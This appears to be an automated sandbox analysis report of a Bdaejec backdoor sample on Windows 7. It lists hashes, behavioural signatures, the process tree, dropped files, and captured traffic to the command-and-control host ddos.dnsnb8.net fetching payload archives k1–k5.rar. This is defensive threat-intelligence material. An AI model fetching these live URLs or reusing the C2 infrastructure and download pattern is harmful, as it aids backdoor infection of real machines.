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Analysis

  • max time kernel
    140s
  • max time network
    118s
  • platform
    windows7_x64
  • resource
    win7-20241023-en
  • resource tags

    arch:x64arch:x86image:win7-20241023-enlocale:en-usos:windows7-x64system
  • submitted
    19/01/2025, 08:37 UTC

General

  • Target

    c5d6c0a69e5fd1c372c39dee82ab4f5ccc3c7b298a18db76f5807fb94154685a.exe

  • Size

    313KB

  • MD5

    9c3ec6b0ddfc4213212948ec3d1aeaac

  • SHA1

    65512cd09b6bdee42ebbbe24ec7844e8a0e6c824

  • SHA256

    c5d6c0a69e5fd1c372c39dee82ab4f5ccc3c7b298a18db76f5807fb94154685a

  • SHA512

    e1201809a89b8826cc19f08e872be5be5fdf10cc41aac448240e839841542ed4c18b297a76e41c999fa05a99cf346a79fcb3add22e78fcff0fb1d1db988e025d

  • SSDEEP

    6144:7qV54oUeSsMY3j0cI8rdYEylF2EHJ8Sj6vzHrh8wDVU3wMs9ZFWW:7qV5dU7oTWKYEEF5J87vzLh8aVJS

Malware Config

Extracted

Family

bdaejec

C2

ddos.dnsnb8.net

Signatures

  • Bdaejec

    Bdaejec is a backdoor written in C++.

  • Bdaejec family
  • Detects Bdaejec Backdoor. 2 IoCs

    Bdaejec is backdoor written in C++.

  • ASPack v2.12-2.42 1 IoCs

    Detects executables packed with ASPack v2.12-2.42

  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 2 IoCs
  • UPX packed file 3 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in Program Files directory 64 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies registry class 10 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\c5d6c0a69e5fd1c372c39dee82ab4f5ccc3c7b298a18db76f5807fb94154685a.exe
    "C:\Users\Admin\AppData\Local\Temp\c5d6c0a69e5fd1c372c39dee82ab4f5ccc3c7b298a18db76f5807fb94154685a.exe"
    1⤵
    • Loads dropped DLL
    • System Location Discovery: System Language Discovery
    • Modifies registry class
    • Suspicious use of WriteProcessMemory
    PID:2928
    • C:\Users\Admin\AppData\Local\Temp\YrhAsn.exe
      C:\Users\Admin\AppData\Local\Temp\YrhAsn.exe
      2⤵
      • Executes dropped EXE
      • Drops file in Program Files directory
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2104
      • C:\Windows\SysWOW64\cmd.exe
        cmd /c ""C:\Users\Admin\AppData\Local\Temp\3c201be3.bat" "
        3⤵
        • System Location Discovery: System Language Discovery
        PID:2524

Network

  • flag-us
    DNS
    ddos.dnsnb8.net
    YrhAsn.exe
    Remote address:
    8.8.8.8:53
    Request
    ddos.dnsnb8.net
    IN A
    Response
    ddos.dnsnb8.net
    IN A
    44.221.84.105
  • flag-us
    GET
    http://ddos.dnsnb8.net:799/cj//k1.rar
    YrhAsn.exe
    Remote address:
    44.221.84.105:799
    Request
    GET /cj//k1.rar HTTP/1.1
    Accept: */*
    Accept-Encoding: gzip, deflate
    User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
    Host: ddos.dnsnb8.net:799
    Connection: Keep-Alive
  • flag-us
    GET
    http://ddos.dnsnb8.net:799/cj//k2.rar
    YrhAsn.exe
    Remote address:
    44.221.84.105:799
    Request
    GET /cj//k2.rar HTTP/1.1
    Accept: */*
    Accept-Encoding: gzip, deflate
    User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
    Host: ddos.dnsnb8.net:799
    Connection: Keep-Alive
  • flag-us
    GET
    http://ddos.dnsnb8.net:799/cj//k3.rar
    YrhAsn.exe
    Remote address:
    44.221.84.105:799
    Request
    GET /cj//k3.rar HTTP/1.1
    Accept: */*
    Accept-Encoding: gzip, deflate
    User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
    Host: ddos.dnsnb8.net:799
    Connection: Keep-Alive
  • flag-us
    GET
    http://ddos.dnsnb8.net:799/cj//k4.rar
    YrhAsn.exe
    Remote address:
    44.221.84.105:799
    Request
    GET /cj//k4.rar HTTP/1.1
    Accept: */*
    Accept-Encoding: gzip, deflate
    User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
    Host: ddos.dnsnb8.net:799
    Connection: Keep-Alive
  • flag-us
    GET
    http://ddos.dnsnb8.net:799/cj//k5.rar
    YrhAsn.exe
    Remote address:
    44.221.84.105:799
    Request
    GET /cj//k5.rar HTTP/1.1
    Accept: */*
    Accept-Encoding: gzip, deflate
    User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
    Host: ddos.dnsnb8.net:799
    Connection: Keep-Alive
  • 44.221.84.105:799
    http://ddos.dnsnb8.net:799/cj//k1.rar
    http
    YrhAsn.exe
    558 B
    256 B
    5
    6

    HTTP Request

    GET http://ddos.dnsnb8.net:799/cj//k1.rar
  • 44.221.84.105:799
    http://ddos.dnsnb8.net:799/cj//k2.rar
    http
    YrhAsn.exe
    558 B
    256 B
    5
    6

    HTTP Request

    GET http://ddos.dnsnb8.net:799/cj//k2.rar
  • 44.221.84.105:799
    http://ddos.dnsnb8.net:799/cj//k3.rar
    http
    YrhAsn.exe
    558 B
    256 B
    5
    6

    HTTP Request

    GET http://ddos.dnsnb8.net:799/cj//k3.rar
  • 44.221.84.105:799
    http://ddos.dnsnb8.net:799/cj//k4.rar
    http
    YrhAsn.exe
    558 B
    256 B
    5
    6

    HTTP Request

    GET http://ddos.dnsnb8.net:799/cj//k4.rar
  • 44.221.84.105:799
    http://ddos.dnsnb8.net:799/cj//k5.rar
    http
    YrhAsn.exe
    558 B
    256 B
    5
    6

    HTTP Request

    GET http://ddos.dnsnb8.net:799/cj//k5.rar
  • 8.8.8.8:53
    ddos.dnsnb8.net
    dns
    YrhAsn.exe
    61 B
    77 B
    1
    1

    DNS Request

    ddos.dnsnb8.net

    DNS Response

    44.221.84.105

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6G4X5UFP\k2[1].rar

    Filesize

    4B

    MD5

    d3b07384d113edec49eaa6238ad5ff00

    SHA1

    f1d2d2f924e986ac86fdf7b36c94bcdf32beec15

    SHA256

    b5bb9d8014a0f9b1d61e21e796d78dccdf1352f23cd32812f4850b878ae4944c

    SHA512

    0cf9180a764aba863a67b6d72f0918bc131c6772642cb2dce5a34f0a702f9470ddc2bf125c12198b1995c233c34b4afd346c54a2334c350a948a51b6e8b4e6b6

  • C:\Users\Admin\AppData\Local\Temp\3c201be3.bat

    Filesize

    187B

    MD5

    e945b4c51df62d5aadeb5d86ad52d77d

    SHA1

    0416b7b147b6ebc6fa10eec6e97c9a9e7a2dab9c

    SHA256

    ded293520655f512d80a80822346384a27878e746751e8cca4069ce857780c14

    SHA512

    09441d249617a5c254b8c62abd8b6ef2595cd595dd5587c43b722c640dc273e1d6d6a9d2ea3b02eb3b2580796e8c764729029b9ad8f8842f5d6c98fce1c16d70

  • C:\Users\Admin\AppData\Local\Temp\64C569BA.exe

    Filesize

    4B

    MD5

    20879c987e2f9a916e578386d499f629

    SHA1

    c7b33ddcc42361fdb847036fc07e880b81935d5d

    SHA256

    9f2981a7cc4d40a2a409dc895de64253acd819d7c0011c8e80b86fe899464e31

    SHA512

    bcdde1625364dd6dd143b45bdcec8d59cf8982aff33790d390b839f3869e0e815684568b14b555a596d616252aeeaa98dac2e6e551c9095ea11a575ff25ff84f

  • C:\Users\Admin\AppData\Local\Temp\YrhAsn.exe

    Filesize

    15KB

    MD5

    56b2c3810dba2e939a8bb9fa36d3cf96

    SHA1

    99ee31cd4b0d6a4b62779da36e0eeecdd80589fc

    SHA256

    4354970ccc7cd6bb16318f132c34f6a1b3d5c2ea7ff53e1c9271905527f2db07

    SHA512

    27812a9a034d7bd2ca73b337ae9e0b6dc79c38cfd1a2c6ac9d125d3cc8fa563c401a40d22155811d5054e5baa8cf8c8e7e03925f25fa856a9ba9dea708d15b4e

  • memory/2104-12-0x0000000000C50000-0x0000000000C59000-memory.dmp

    Filesize

    36KB

  • memory/2104-55-0x0000000000C50000-0x0000000000C59000-memory.dmp

    Filesize

    36KB

  • memory/2928-14-0x0000000000220000-0x0000000000221000-memory.dmp

    Filesize

    4KB

  • memory/2928-4-0x0000000000220000-0x0000000000229000-memory.dmp

    Filesize

    36KB

  • memory/2928-1-0x0000000000400000-0x00000000004D8000-memory.dmp

    Filesize

    864KB

  • memory/2928-9-0x0000000000220000-0x0000000000229000-memory.dmp

    Filesize

    36KB

  • memory/2928-57-0x0000000000400000-0x00000000004D8000-memory.dmp

    Filesize

    864KB

  • memory/2928-59-0x0000000000220000-0x0000000000221000-memory.dmp

    Filesize

    4KB

  • memory/2928-58-0x0000000000400000-0x00000000004D8000-memory.dmp

    Filesize

    864KB

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